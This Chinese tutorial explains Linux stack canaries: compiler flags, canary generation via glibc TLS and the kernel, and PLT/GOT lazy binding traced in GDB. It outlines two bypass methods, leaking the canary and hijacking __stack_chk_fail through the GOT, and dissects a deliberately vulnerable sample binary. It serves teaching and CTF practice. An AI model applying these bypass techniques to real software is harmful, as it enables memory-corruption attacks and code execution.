栈上的缓冲区变量发生溢出时,可能会导致非预期情况(比如返回地址被劫持)的产生,进而导致一系列的安全问题。为了缓解该问题,Linux退出金丝雀机制Stack Canaries对栈进行保护,保护原理在下方的反汇编代码中可以看到。

1. 金丝雀机制的检测逻辑

栈上的缓冲区变量溢出时,会向地址增高方向覆盖一段连续的区域,假如提前在栈底前放置1个随机数,那么当缓冲区变量溢出时,也会导致该随机数被篡改,当函数结束时,在对保存的随机数进行检查,如果发现数值不对,就说明栈上的缓冲区变量溢出了,此时不应该继续往下执行。

从汇编角度上看,函数序言中会向保存调用函数的栈底指针,然后设置被调用函数自身的栈底指针,最后分配栈空间,这3条汇编指令标志着1个经典的函数序言。

完成栈空间的设置后,由于金丝雀机制的存在,需要赶在局部变量之前添加随机值到栈上rbp-0x8,位于局部变量之后的随机值显然不会起到什么保护作用。

因为随机值会占用0x8字节的空间,所以局部变量的位置相对于未开启金丝雀机制前,也会增加0x8字节。

1
2
3
4
5
6
0x0000555555555159 <+0>:     push   %rbp
0x000055555555515a <+1>:     mov    %rsp,%rbp
0x000055555555515d <+4>:     sub    $0x20,%rsp
 
0x0000555555555161 <+8>:     mov    %fs:0x28,%rax
0x000055555555516a <+17>:    mov    %rax,-0x8(%rbp)

在函数返回时,金丝雀机制会先于leave指令及ret指令从栈上取出数据前,取出栈上保存的随机值并进行检查,只有当数值一致时,才会遵循正常的返回逻辑。

1
2
3
4
5
6
7
0x0000555555555187 <+46>:    mov    -0x8(%rbp),%rax
0x000055555555518b <+50>:    sub    %fs:0x28,%rax
0x0000555555555194 <+59>:    je     0x55555555519b <simple_overflow+66>
0x0000555555555196 <+61>:    call   0x555555555040 <__stack_chk_fail@plt>
 
0x000055555555519b <+66>:    leave
0x000055555555519c <+67>:    ret

通过观察随机值可以发现,最低字节刚好是0x00,由于C语言中字符串以\0作为结束符,所以即使缓冲区变量紧邻随机值且被填满时,字符串也会以随机值中的\0作为终止符,保证字符串被截断。

1
2
(gdb) x /gx $rbp-0x8
0x7fffffffde18: 0xabe7aa6352121c00

2. 实现方式

在上面可以看到,随机数是从fx+0x28的位置取出的,那么这个值是谁放进去,怎么放进去的呢?

2.1 编译器的支持

为了支持金丝雀机制,在给代码文件生成二进制文件时,就需要在函数序言和结语部分插入上方展示的插入随机值及检测随机值的指令。

这些指令是否生成以及在什么情况下生成,可以通过编译选项进行控制,下面列举了GCC编译器的相关选项及说明。

1
2
3
4
5
6
7
-fstack-protector 只为局部变量中含有数组的函数开启保护
-fstack-protector-all 为所有函数开启保护
-fstack-protector-strong 为局部变量地址作为赋值语句的右值及函数参数、含有数组类型的局部变量、`register`声明的局部变量开启保护
 
-fstack-protector-explicit 对含义stack_protect attribute的函数开启保护
 
-fno-stack-protector 禁用保护

2.2 TLS与金丝雀

LibC使用fs寄存器存放线程局部存储TLS Thread Local Stroage,TLS可用于支持多线程同时访问同1个全局变量或静态变量。TLS的存在使得每个线程都独占1份全局变量及静态变量,不同线程间对同1个全局变量或静态变量的修改并不会产生冲突。

当然这种特殊的变量需要__thread关键字修饰,编译器看到__thread修饰的变量后,二进制文件内会将这些变量放入.tdata 节和.tbss节内,前面的t用于标识thread.tdata 节和.tbss节中存储着变量的原始版本。

1
2
3
4
5
[19] .tdata            PROGBITS         0000000000003dc0  00002dc0
     0000000000000010  0000000000000000 WAT       0     0     8
[20] .tbss             NOBITS           0000000000003dd0  00002dd0
     0000000000000004  0000000000000000 WAT       0     0     4
[21] .init_array       INIT_ARRAY       0000000000003dd0  00002dd0

TLS的实现由tcbhead_t结构体支持,在该结构体中存在stack_guard成员,他被用于存放随机数,该成员在结构体内的偏移值是0x28。

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct
{
    void *tcb;
    dtv_t *dtv;
    void *self;
    int multiple_threads;
    int gscope_flag;
    uintptr_t sysinfo;
    uintptr_t stack_guard;
    uintptr_t pointer_guard;
    ...
} tcbhead_t;

TLS由LD中的init_tls初始化,下面展示了完整的调用栈信息。

1
2
3
4
5
6
7
8
9
10
11
(gdb) bt
#0  init_tls (naudit=naudit@entry=0) at rtld.c:736
#1  0x00007ffff7fe9565 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:2040
#2  0x00007ffff7fe5146 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffdf50, dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>) at ../sysdeps/unix/sysv/linux/dl-sysdep.c:140
#3  0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494
#4  _dl_start (arg=0x7fffffffdf50) at rtld.c:581
#5  0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2
#6  0x0000000000000001 in ?? ()
#7  0x00007fffffffe269 in ?? ()
#8  0x0000000000000000 in ?? ()
(gdb)

在GDB中观察fs寄存器时,会发现fs寄存器的值永远是0,这是因为软件调试器GDB对系统寄存器没有访问权限导致的。但是内核提供了arch_prctl接口,用于修改或获取特定于体系结构的进程或线程状态。

在GDB中,已经借用内核接口将TLS所在位置放置在fs_base寄存器中。

1
2
3
4
5
6
7
8
9
10
11
fs             0x0                 0
 
fs_base        0x7ffff7db0740      140737351714624
(gdb) p *(tcbhead_t*)0x7ffff7db0740
$7 = {tcb = 0x7ffff7db0740, dtv = 0x7ffff7db10e0, self = 0x7ffff7db0740, multiple_threads = 0, gscope_flag = 0, sysinfo = 0, stack_guard = 16109256396036869120,
  pointer_guard = 9142662214636680000, unused_vgetcpu_cache = {0, 0}, feature_1 = 0, __glibc_unused1 = 0, __private_tm = {0x0, 0x0, 0x0, 0x0}, __private_ss = 0x0, ssp_base = 0,
  __glibc_unused2 = {{{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{
        i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0,
          0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {
          0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}, {{i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}, {i = {0, 0, 0, 0}}}}, __padding = {0x0, 0x0, 0x0, 0x0, 0x0,
    0x0, 0x0, 0x0}}

初始化后fs_base会指向一段内存所在的区域,显然这段内存是专门提供给TLS使用的。

1
7ffff7db0000-7ffff7db3000 rw-p 00000000 00:00 0

2.3 金丝雀的产生

C程序启动时,操作系统会先将控制权交给LD,在LD执行好相应操作后,才会调用主程序的入口函数_start,想要调试LD程序也可以在_start函数处设置断点,因为_start函数是ELF文件的起点。

在通过init_tls初始化好TLS信息后,才会通过security_init产生随机值。随机值stack_chk_guard会根据另一个随机值_dl_random进行设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
dl_main(.....)
{
    ......
    init_tls(0)
    ......
    if (__glibc_likely (need_security_init))
        /* Initialize security features.  But only if we have not done it
            earlier.  */
        security_init ();
    ......
}
 
static void security_init (void)
{
    /* Set up the stack checker's canary.  */
    uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
    THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
    __stack_chk_guard = stack_chk_guard;
#endif
 
    /* Set up the pointer guard as well, if necessary.  */
    uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
    THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
    __pointer_chk_guard_local = pointer_chk_guard;
 
    /* We do not need the _dl_random value anymore.  The less
       information we leave behind, the better, so clear the
       variable.  */
    _dl_random = NULL;
}

为了观察_dl_random,我们再GDB中watch该变量,当变量的数值改变时,调试器会自动中断,此时会发现随机值_dl_random_dl_sysdep_parse_arguments函数设置。

_dl_sysdep_parse_arguments函数会通过_dl_parse_auxv (GLRO(dl_auxv), auxv_values);_dl_random修改,_dl_random位于auxv_valuesAT_RANDOM位置,而auxv是内核提供的一种接口,用于在程序运行时传递信息到用户空间,所以随机值_dl_random是内核产生的。

1
2
3
4
5
6
7
8
9
10
11
12
13
#0  _dl_sysdep_parse_arguments (start_argptr=<optimized out>,
    start_argptr@entry=0x7fffffffdf50, args=args@entry=0x7fffffffde50)
    at ../sysdeps/unix/sysv/linux/dl-sysdep.c:93
#1  0x00007ffff7fe50e0 in _dl_sysdep_start (
    start_argptr=start_argptr@entry=0x7fffffffdf50,
    dl_main=dl_main@entry=0x7ffff7fe6cc0 <dl_main>)
    at ../sysdeps/unix/sysv/linux/dl-sysdep.c:106
#2  0x00007ffff7fe69be in _dl_start_final (arg=0x7fffffffdf50) at rtld.c:494
#3  _dl_start (arg=0x7fffffffdf50) at rtld.c:581
#4  0x00007ffff7fe5748 in _start () from /lib64/ld-linux-x86-64.so.2
#5  0x0000000000000001 in ?? ()
#6  0x00007fffffffe26a in ?? ()
#7  0x0000000000000000 in ?? ()

stack_chk_guard随机值产生好后,会提交给THREAD_SET_POINTER_GUARD宏,该宏会对当前线程的线程描述符进行修改stack_guard成员,如果THREAD_SET_STACK_GUARD未被定义,那么随机值会被放入__stack_chk_guard全局变量内。

2.4 内核对不同线程的支持

操作系统内会有多个线程运行,不同线程间的金丝雀随机值显然应该是不同的,那么内核就需要为每个线程都保存一份金丝雀信息,当线程发生切换时,还需要将fs+0x28的数值进行更新。

在内核中每个线程通过task_strcut结构体进行管理,不同线程间通过struct list_head tasks;成员链表进行管理(对tasks成员进行遍历可以得到全部进程),在task_strcut结构体内存在unsigned long stack_canary;成员,该成员在线程建立时由dup_task_struct获取随机值并填写该成员(前面_dl_random就是借助系统调用从这里获取数值的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct task_struct {
    ......
    struct list_head tasks;
    ......
    unsigned long   stack_canary;
    ......
}
 
static struct task_struct *dup_task_struct(struct task_struct *orig, int node)
{
    ......
    setup_thread_stack(tsk, orig);
    clear_user_return_notifier(tsk);
    clear_tsk_need_resched(tsk);
    set_task_stack_end_magic(tsk);
    clear_syscall_work_syscall_user_dispatch(tsk);
 
#ifdef CONFIG_STACKPROTECTOR
    tsk->stack_canary = get_random_canary();
#endif
    ......
}

内核会通过__switch_to切换线程,这时候有个很重要的工作就是将保存当前线程的上下文,再将待切换线程的上下文设置好,上下文信息中就包含TLS信息,因此切换线程时,TLS信息也会随之更新,这样用户程序就可以访问寄存器获取正确的随机值了。

3. 延迟绑定

从上面可以看到金丝雀的检测函数__stack_chk_fail来自LibC,而且类似于它一样来自动态链接库的函数,在函数名后都会有一个@plt的标识,这个标识起什么作用呢?

3.1 动态链接库中函数的绑定策略

在链接期中,链接器会将所有的目标文件和静态链接文件(多个目标文件的集合)中的内容链接进入自身,而动态链接库中的内容则会推迟到运行期时在进行绑定。

在动态链接的情况下,程序并不会在刚开始运行时就将全部的函数加载,而是采取按需加载的策略,即函数调用发生时再去加载。

PLT与GOT的解析

通过objdump工具反汇编观察主程序的ELF文件可以发现,每个动态链接函数由于在文件内没有实际的函数实现,所以文件会先提供.plt节作为中转站,该节中的表项是动态链接函数跳转时的实际指向位置,.plt节中的每个表项都由3条指令组成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0000000000001020 <puts@plt-0x10>:
    1020:       ff 35 ca 2f 00 00       push   0x2fca(%rip)        # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:       ff 25 cc 2f 00 00       jmp    *0x2fcc(%rip)        # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:       0f 1f 40 00             nopl   0x0(%rax)
 
0000000000001030 <puts@plt>:
    1030:       ff 25 ca 2f 00 00       jmp    *0x2fca(%rip)        # 4000 <puts@GLIBC_2.2.5>
    1036:       68 00 00 00 00          push   $0x0
    103b:       e9 e0 ff ff ff          jmp    1020 <_init+0x20>
 
0000000000001060 <read@plt>:
    1060:       ff 25 b2 2f 00 00       jmp    *0x2fb2(%rip)        # 4018 <read@GLIBC_2.2.5>
    1066:       68 03 00 00 00          push   $0x3
    106b:       e9 b0 ff ff ff          jmp    1020 <_init+0x20>
 
0000000000001169 <test>
    ......
    118a:       e8 a1 fe ff ff          call   1030 <puts@plt>
    ......

通过readelf工具观察段信息,可以知道.plt节位于LOAD可读可执行(RE)段内。

1
2
3
4
5
3号段:
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x0000000000000229 0x0000000000000229  R E    0x1000
 
03     .init .plt .text .fini

.plt节中除第一个表项外,其余表项都由jmp push jmp三条指令组成,第一条jmp指令指向.got.plt节,最后一条jmp指令都统一指向.plt中的首个表项,push指令会将表项的序号压入栈内。

通过readelf工具观察段信息,可以知道.got.plt节位于LOAD可读可写(RW)段内。

1
2
3
4
5
5号段:
LOAD           0x0000000000002dd0 0x0000000000003dd0 0x0000000000003dd0
                 0x0000000000000260 0x0000000000000268  RW     0x1000
 
05     .init_array .fini_array .dynamic .got .got.plt .data .bss

首先分析第一条指令,该指令会指向.got.plt节中的不同表项,并根据表项内的数值进行跳转,.got.plt节中每8个字节(64位 / 8比特)为1个表项,表项中的数值会指向.plt节中表项push指令的所在位置。

1
2
3
4
5
6
7
8
9
10
jmp    *0x2fca(%rip) -> 0x1036+0x2fca = 0x4000 (36 10) -> 1036 push $0x0
jmp    *0x2fb2(%rip) -> 0x1066+0x2fb2 = 0x4018 (66 10) -> 1066 push $0x3
 
Disassembly of section .got.plt:
 
0000000000003fe8 <_GLOBAL_OFFSET_TABLE_>:
    3fe8:       e0 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00     .=..............
        ...
    4000:       36 10 00 00 00 00 00 00 46 10 00 00 00 00 00 00     6.......F.......
    4010:       56 10 00 00 00 00 00 00 66 10 00 00 00 00 00 00     V.......f.......

在等push指令将数据压入栈后,最后一条jmp指令会统一的跳转到.plt节中的首表项<puts@plt-0x10>

1
2
3
4
5
6
7
8
9
10
11
12
13
.plt节中表项最后的jmp指令:
jmp    1020 <_init+0x20>
 
0000000000001020 <puts@plt-0x10>:
    1020:       ff 35 ca 2f 00 00       push   0x2fca(%rip)        # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
    1026:       ff 25 cc 2f 00 00       jmp    *0x2fcc(%rip)        # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
    102c:       0f 1f 40 00             nopl   0x0(%rax)
 
hexdump -C ./canary_bypass_example -s 0x3fc0 | more
00003fc0  03 00 00 00 00 00 00 00  c0 3f 00 00 00 00 00 00  |.........?......|
00003fd0  c0 2f 00 00 00 00 00 00  28 00 00 00 00 00 00 00  |./......(.......|
00003fe0  00 00 00 00 00 00 00 00  08 00 00 00 00 00 00 00  |................|
00003ff0  08 00 00 00 00 00 00 00  f9 00 00 00 01 00 00 00  |................|

通过上面的分析可以确定动态链接函数与.plt节、.got.plt节、.got节间的相互关系。但是这些节存在的意义仍不清楚,下面会结合调试器进行分析。

3.2 调试器下的观察动态链接过程

第一步:调用puts函数时先进入.plt节中对应的表项内。

1
2
3
4
(gdb)
0x000055555555518a      11              puts("hello world!");
1: x/i $rip
=> 0x55555555518a <example+33>:     call   0x555555555030 <puts@plt>

第二步:jmp指令指示从.got.plt节中获取跳转地址,此时.got.plt节中对应表项的跳转地址会重新指向.plt节中的push指令。

1
2
3
4
5
6
7
(gdb)
0x0000555555555030 in puts@plt ()
1: x/i $rip
=> 0x555555555030 <puts@plt>:   jmp    *0x2fca(%rip)        # 0x555555558000 <puts@got.plt>
 
x /10x $rip+0x2fca
0x555555558000 <puts@got.plt>:  0x55555036      0x00005555      0x55555046      0x00005555

第三步:push指令将0x0压入栈后,会继续根据jmp指令进行跳转。

1
2
3
4
5
6
7
8
(gdb) si
0x0000555555555036 in puts@plt ()
1: x/i $rip
=> 0x555555555036 <puts@plt+6>: push   $0x0
(gdb)
0x000055555555503b in puts@plt ()
1: x/i $rip
=> 0x55555555503b <puts@plt+11>:        jmp    0x555555555020

压入栈的数据如下所示。

1
2
3
4
(gdb) x /10x $rsp
0x7fffffffddc0: 0x00000000      0x00000000      0x5555518f      0x00005555
0x7fffffffddd0: 0x00000019      0x00000050      0x00000000      0x00000000
0x7fffffffdde0: 0x00000000      0x00000000

第四步:观察跳转地址可以发现,jmp指令会带我们前往.plt节中的首表项。

1
2
(gdb) info files
0x0000555555555020 - 0x0000555555555070 is .plt

第五步:.plt节中的首表项会先将.got.plt节中表项所在地址压入栈内,

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) info files
0x0000555555557fe8 - 0x0000555555558020 is .got.plt
 
(gdb) x /3i 0x555555555020
   0x555555555020:      push   0x2fca(%rip)        # 0x555555557ff0
   0x555555555026:      jmp    *0x2fcc(%rip)        # 0x555555557ff8
   0x55555555502c:      nopl   0x0(%rax)
 
(gdb) x /gx 0x555555557ff8
0x555555557ff8: 0x00007ffff7fdbe10
 
(gdb) info symbol 0x00007ffff7fdbe10
_dl_runtime_resolve_fxsave in section .text of /lib64/ld-linux-x86-64.so.2

此时可以发现.got.plt节中内容已经和之前静态文件中内容不同了。

压入栈的数据如下所示。

1
2
3
4
(gdb) x /10x $rsp
0x7fffffffddb8: 0xf7ffe2e0      0x00007fff      0x00000000      0x00000000
0x7fffffffddc8: 0x5555518f      0x00005555      0x00000019      0x00000050
0x7fffffffddd8: 0x00000000      0x00000000

第六步:执行_dl_runtime_resolve_fxsave函数,加载puts函数。

_dl_runtime_resolve_fxsave函数如何运作暂时就不做解析了。

第七步:再次执行puts函数时,会发现.got.plt节中表项存储的地址已经变成了puts函数的所在地址,此时执行jmp指令就会直接前往puts函数。

1
2
3
4
5
6
7
1: x/i $rip
=> 0x555555555030 <puts@plt>:   jmp    *0x2fca(%rip)        # 0x555555558000 <puts@got.plt>
 
(gdb) x /gx 0x555555558000
0x555555558000 <puts@got.plt>:  0x00007ffff7e327d0
(gdb) info symbol 0x00007ffff7e327d0
puts in section .text of /usr/lib/libc.so.6

3.3 PLT与GOT的总结

在链接期内,动态链接函数其实现的所在位置是链接器不可知的,因此会提供PLT(过程链接表 procedure linkage table)作为中转站,PLT会根据.got.plt节的指示跳转。

当动态链接函数尚未加载时,.got.plt节会指示前往.got节,运行期内.got节会存放出来动态链接的参数及函数地址,程序需要先将动态链接函数加载进来,并将.got.plt节指向的跳转位置修改为对应动态链接函数的位置。

由于.plt节位于可读可执行段内,所以运行期中它是不可修改的,只能修改位于可读可写段中的.got.plt节,这也是该节存在的意义,否则直接省去.got.plt节就可以了。

当动态链接函数再次执行时,PLT会根据.got.plt节中存放的函数地址进行执行,而无需再次进行加载。

4. 绕过思路

4.1 泄露随机值

随机值的最低位设置为\x00,本意是为了保证字符串可以被\x00截断,从而保护其他字节信息。但当随机值的最低字节也被覆盖时,其余处于高位的字节信息也会被暴露出来。

4.2 检测函数的劫持

在上面的分析中可以看到,主程序中跳转到__stack_chk_fail函数的地址由.got.plt节中数据决定,并且.got.plt节在运行期是可以写的,假如该节中的内容被篡改,那么当运行__stack_chk_fail函数时,程序的执行流就会被我们控制。

5. 示例讲解

下面给出了二进制程序的反汇编代码,接下来会对反汇编信息进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
0000000000001169 <canary_leak>:
    1169:       55                      push   %rbp
    将调用函数的栈底指针从rdp寄存器压到栈上
    116a:       48 89 e5                mov    %rsp,%rbp
    将当前栈顶指针作为被调用函数的栈底指针
    116d:       48 83 ec 50             sub    $0x50,%rsp
    分配栈空间大小0x50
    1171:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    从fs寄存器指向的TLS信息中取出金丝雀
    1178:       00 00
    117a:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    将取出的金丝雀压入栈内,对栈进行保护
    117e:       31 c0                   xor    %eax,%eax
    清零eax寄存器
    1180:       48 8d 05 7d 0e 00 00    lea    0xe7d(%rip),%rax        # 2004 <_IO_stdin_used+0x4>
    取出0xe7d(%rip)地址中保存的数据到rax寄存器
    1187:       48 89 c7                mov    %rax,%rdi
    根据调用协议将rax寄存器中数据放入rdi寄存器内
    118a:       e8 a1 fe ff ff          call   1030 <puts@plt>
    通过rdi寄存器提供的参数调用puts函数
    118f:       48 8d 45 c0             lea    -0x40(%rbp),%rax
    将栈上变量的地址放入rax寄存器内,为接下来的传参做准备
    1193:       ba 00 10 00 00          mov    $0x1000,%edx
    0x1000放入edx寄存器内,它作为read函数的第三个参数
    1198:       48 89 c6                mov    %rax,%rsi
    将rax寄存器中的数值放入rsi寄存器内,它作为read函数的第二个参数
    119b:       bf 00 00 00 00          mov    $0x0,%edi
    0x0放入edi寄存器内,它作为read函数的第一个参数
    11a0:       e8 bb fe ff ff          call   1060 <read@plt>
    调用read函数
    11a5:       48 8d 45 c0             lea    -0x40(%rbp),%rax
    11a9:       48 89 c6                mov    %rax,%rsi
    11ac:       48 8d 05 6a 0e 00 00    lea    0xe6a(%rip),%rax        # 201d <_IO_stdin_used+0x1d>
    11b3:       48 89 c7                mov    %rax,%rdi
    11b6:       b8 00 00 00 00          mov    $0x0,%eax
    上方指令根据调用协议准备形参给printf函数
    11bb:       e8 90 fe ff ff          call   1050 <printf@plt>
    调用printf函数
    11c0:       48 8d 05 6d 0e 00 00    lea    0xe6d(%rip),%rax        # 2034 <_IO_stdin_used+0x34>
    11c7:       48 89 c7                mov    %rax,%rdi
    上方指令根据调用协议准备形参给puts函数
    11ca:       e8 61 fe ff ff          call   1030 <puts@plt>
    调用puts函数
    11cf:       48 8d 45 b4             lea    -0x4c(%rbp),%rax
    11d3:       ba 00 10 00 00          mov    $0x1000,%edx
    11d8:       48 89 c6                mov    %rax,%rsi
    11db:       bf 00 00 00 00          mov    $0x0,%edi
    上方指令根据调用协议准备形参给read函数
    11e0:       e8 7b fe ff ff          call   1060 <read@plt>
    调用read函数
    11e5:       90                      nop
    空指令
    11e6:       48 8b 45 f8             mov    -0x8(%rbp),%rax
    11ea:       64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    取出金丝雀进行检测
    11f1:       00 00
    11f3:       74 05                   je     11fa <canary_leak+0x91>
    金丝雀值变化则调用__stack_chk_fail函数,否则正常返回
    11f5:       e8 46 fe ff ff          call   1040 <__stack_chk_fail@plt>
    11fa:       c9                      leave
    11fb:       c3                      ret
 
00000000000011fc <stack_check_func_hijack>:
    11fc:       55                      push   %rbp
    11fd:       48 89 e5                mov    %rsp,%rbp
    1200:       48 83 ec 20             sub    $0x20,%rsp
    处理栈底指针和栈顶指针
    1204:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    120b:       00 00
    120d:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    设置金丝雀
    1211:       31 c0                   xor    %eax,%eax
    清空eax寄存器,为后续使用做准备
    1213:       48 8d 05 32 0e 00 00    lea    0xe32(%rip),%rax        # 204c <_IO_stdin_used+0x4c>
    121a:       48 89 c7                mov    %rax,%rdi
    根据调用协议准备形参
    121d:       e8 0e fe ff ff          call   1030 <puts@plt>
    调用puts函数
    1222:       48 8d 45 ec             lea    -0x14(%rbp),%rax
    1226:       ba 00 10 00 00          mov    $0x1000,%edx
    122b:       48 89 c6                mov    %rax,%rsi
    122e:       bf 00 00 00 00          mov    $0x0,%edi
    根据调用协议准备形参
    1233:       e8 28 fe ff ff          call   1060 <read@plt>
    调用read函数
    1238:       48 8d 05 24 0e 00 00    lea    0xe24(%rip),%rax        # 2063 <_IO_stdin_used+0x63>
    123f:       48 89 c7                mov    %rax,%rdi
    根据调用协议准备形参
    1242:       e8 e9 fd ff ff          call   1030 <puts@plt>
    调用puts函数
    1247:       48 8d 45 e0             lea    -0x20(%rbp),%rax
    将栈上变量的地址交给rax寄存器
    124b:       ba 00 10 00 00          mov    $0x1000,%edx
    1250:       48 89 c6                mov    %rax,%rsi
    1253:       bf 00 00 00 00          mov    $0x0,%edi
    根据调用协议准备形参
    1258:       e8 03 fe ff ff          call   1060 <read@plt>
    调用read函数
    125d:       48 8d 05 16 0e 00 00    lea    0xe16(%rip),%rax        # 207a <_IO_stdin_used+0x7a>
    1264:       48 89 c7                mov    %rax,%rdi
    根据调用协议准备形参
    1267:       e8 c4 fd ff ff          call   1030 <puts@plt>
    调用puts函数
    126c:       48 8b 45 e0             mov    -0x20(%rbp),%rax
    将栈上变量保存的地址放置到rax寄存器内
    1270:       ba 00 10 00 00          mov    $0x1000,%edx
    1275:       48 89 c6                mov    %rax,%rsi
    1278:       bf 00 00 00 00          mov    $0x0,%edi
    根据调用协议准备形参
    127d:       e8 de fd ff ff          call   1060 <read@plt>
    调用read函数
    1282:       90                      nop
    空指令
    1283:       48 8b 45 f8             mov    -0x8(%rbp),%rax
    1287:       64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    处理金丝雀
    128e:       00 00
    1290:       74 05                   je     1297 <stack_check_func_hijack+0x9b>
    金丝雀变化则调用__stack_chk_fail,否则正常退出
    1292:       e8 a9 fd ff ff          call   1040 <__stack_chk_fail@plt>
    1297:       c9                      leave
    1298:       c3                      ret
 
0000000000001299 <main>:
    1299:       55                      push   %rbp
    129a:       48 89 e5                mov    %rsp,%rbp
    129d:       48 83 ec 10             sub    $0x10,%rsp
    处理栈空间
    12a1:       89 7d fc                mov    %edi,-0x4(%rbp)
    将argc放到栈上
    12a4:       48 89 75 f0             mov    %rsi,-0x10(%rbp)
    将argv放到栈上
    12a8:       48 8b 45 f0             mov    -0x10(%rbp),%rax
    将argv放到rax寄存器内
    12ac:       48 83 c0 08             add    $0x8,%rax
    偏移0x8到argv[1]
    12b0:       48 8b 00                mov    (%rax),%rax
    将rax寄存器中的数据放入rax
    12b3:       48 85 c0                test   %rax,%rax
    判断argv[1]是否为空
    12b6:       75 0f                   jne    12c7 <main+0x2e>
    不为空就跳转
    12b8:       48 8d 05 d0 0d 00 00    lea    0xdd0(%rip),%rax        # 208f <_IO_stdin_used+0x8f>
    12bf:       48 89 c7                mov    %rax,%rdi
    根据调用协议准备参数
    12c2:       e8 69 fd ff ff          call   1030 <puts@plt>
    调用puts
    12c7:       b8 00 00 00 00          mov    $0x0,%eax
    设置返回值为0x0
    12cc:       eb 3d                   jmp    130b <main+0x72>
    跳转到函数末尾准备退出
    12ce:       48 8b 45 f0             mov    -0x10(%rbp),%rax
    12d2:       48 83 c0 08             add    $0x8,%rax
    准备argv[1]到rax寄存器
    12d6:       48 8b 00                mov    (%rax),%rax
    将rax寄存器中地址对应的数据放入rax寄存器内
    12d9:       0f b6 00                movzbl (%rax),%eax
    12dc:       0f be c0                movsbl %al,%eax
    将argv[1][0]放入eax内
    12df:       83 f8 63                cmp    $0x63,%eax
    0x63为字符c,将字符c与eax进行比较
    12e2:       74 0c                   je     12f0 <main+0x57>
    相等就跳转到0x12f0
    12e4:       83 f8 73                cmp    $0x73,%eax
    0x73为字符s,将字符s与eax进行比较
    12e7:       75 08                   jne    12f1 <main+0x58>
    不相等就跳转到0x12f1
    12e9:       e8 0e ff ff ff          call   11fc <stack_check_func_hijack>
    调用stack_check_func_hijack
    12ee:       eb 07                   jmp    12f7 <main+0x5e>
    跳转到0x12f7
    12f0:       90                      nop
    空指令
    12f1:       e8 73 fe ff ff          call   1169 <canary_leak>
    调用canary_leak
    12f6:       90                      nop
    空指令
    12f7:       48 8d 05 a9 0d 00 00    lea    0xda9(%rip),%rax        # 20a7 <_IO_stdin_used+0xa7>
    12fe:       48 89 c7                mov    %rax,%
    根据调用协议准备形参
    1301:       e8 2a fd ff ff          call   1030 <puts@plt>
    调用puts
    1306:       b8 00 00 00 00          mov    $0x0,%eax
    设置返回值然后返回
    130b:       c9                      leave
    130c:       c3                      ret

通过分析上面的反汇编代码可以知道,程序由maincanary_leakstack_check_func_hijack三个函数组成,canary_leak函数和stack_check_func_hijack函数都开启了金丝雀保护机制。

main函数内会针对argv[1][0]进行判断,当argv[1][0]是字符s时调用stack_check_func_hijack函数,否则调用canary_leak函数。

canary_leak函数内会读取两次输入,并且在首次输入后会将缓冲区变量打印出来,此时就可以利用它们泄露金丝雀,然后通过最后一次传入payload完成PWN。

